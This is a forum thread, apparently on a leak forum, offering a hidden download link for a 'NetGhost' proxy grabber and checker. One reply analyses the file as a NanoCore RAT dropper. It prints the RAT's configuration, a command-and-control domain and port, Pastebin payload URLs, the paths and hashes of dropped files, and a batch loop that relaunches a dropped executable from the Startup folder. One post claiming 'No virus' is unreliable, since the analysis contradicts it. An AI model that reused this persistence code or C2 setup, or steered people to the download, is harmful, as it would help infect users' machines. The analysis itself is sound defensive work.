NetGhost v.1.4 Proxy Grabber and Checker

[moaad0896]

thank you bro

[subhihattab123]

thnx bro

[alex61]

thank you bro

[Exxon]

 

Download Link

 

Hidden Content
You'll be able to see the hidden content once you reply to this topic or upgrade your account.

 

Virus Total

 

https://www.virustot...844a7/detection

 

 

Pw: netghost sry

 

The real VT:https://www.virustot...bce82/detection

[ToneXfield]

Infected with NanoCore IP: 127.0.0.1:3218

fojasoftwareaudio.ignorelist.com port 3218

 

RequestElevation [u'00']
BypassUAC [u'00']
RestartDelay [5000]
Group [u'Default']
RunOnStartup [u'00']
PreventSystemSleep [u'01']
UseCustomDNS [u'01']
PrimaryDNSServer [u'8.8.8.8']
ConnectDelay [4000]
EnableDebugMode [u'00']
Version [u'\x071.2.2.0']
Mutex [u'1b42c98c9fdad244823f5067e2cdb096']
SetCriticalProcess [u'00']
Domain2 [u'127.0.0.1']
Domain1 [u'fojasoftwareaudio.ignorelist.com']
Port [3218]
ClearAccessControl [u'00']
ClearZoneIdentifier [u'01']

 

HTTPS REQUEST

.pastebin.com

GET /raw/7kcDT0fn HTTP/1.1

GET /raw/VAyUNc0W HTTP/1.1

http://pastebin.com/raw/7kcDT0fn

http://pastebin.com/raw/VAyUNc0W

-------------------------------------------------

 

fojasoftwareaudio.ignorelist.com

response: NXDOMAIN

https://www.virustot...ist.com/details

 

creates new folder

file: mggdfd.exe.bat

C:\Users\user\AppData\Local\Temp\iuytuyt\mggdfd.exe.bat

(md5: e6f4e34683764b280b18c5c2fd242959)

:_Start
timeout /t 300
tasklist /nh /fi "imagename eq tbdadf.exe" | find /i "tbdadf.exe" >nul && (
Goto _Start
) || (
Start /W "" "\Microsoft\Windows\Start Menu\Programs\Startup\mggdfd.exe"
Goto _Start
)

create new file

melt.bat

C:\Users\user\AppData\Local\Temp\iuytuyt\melt.bat

(md5: e37e452eba99d96f0333f21ec7b00295)

\xff\xfeC\x00:\x00\\x00U\x00s\x00e\x00r\x00s\x00\\x00u\x00s\x00e\x00r\x00\\x00A\x00p\x00p\x00D\x00a\x00t\x00a\x00\\x00L\x00o\x00c\x00a\x00l\x00\\x00T\x00e\x00m\x00p\x00\\x00N\x00e\x00t\x00G\x00h\x00o\x00s\x00t\x00 \x00v\x001\x00.\x004\x00.\x000\x00.\x000\x00.\x00e\x00x\x00e\x00

create new file

file NetGhost v1.4.0.0.exe

C:\Users\user\AppData\Local\Temp\NetGhost v1.4.0.0.exe
C:\Users\user\AppData\Local\Temp\iuytuyt\mggdfd.exe

(md5: 5cdbe3705956b9cf95e30da13d6ff178)

 

create new file

NetGhost_Latest.zip

C:\Users\user\AppData\Local\Temp\NetGhost_Latest.zip

(md5: d41d8cd98f00b204e9800998ecf8427e)

create new file

GDIPFONTCACHEV1.DAT

C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT

(md5: 1bba2e8a1b56ec52dd7805093b4839d3)

 

create  new file

tbdadf.exe

C:\Users\user\AppData\Local\Temp\tbdadf.exe

(md5: 2e5f1cf69f92392f8829fc9c9263ae9b)

create new file

NG 1.4.exe

C:\Users\user\AppData\Local\Temp\NG 1.4.exe

(md5: 12189a91572eb3b56ada659ad4f57752)

Edited by ToneXfield, 03 June 2019 - 01:24 AM.

[zelus]

There is a report that this is bundled with Nanocore

 

https://www.nulled.t...-1/?hl=nanocore

[sofien01]

thank youu

[SLEDFAST]

No virus amazing 

[lekekoko]

 

Download Link

 

 

 

Virus Total

 

https://www.virustot...844a7/detection

 

 

Pw: netghost sry

 

uh8hhh8 8nun jjnjn

[xoxoqq16]

try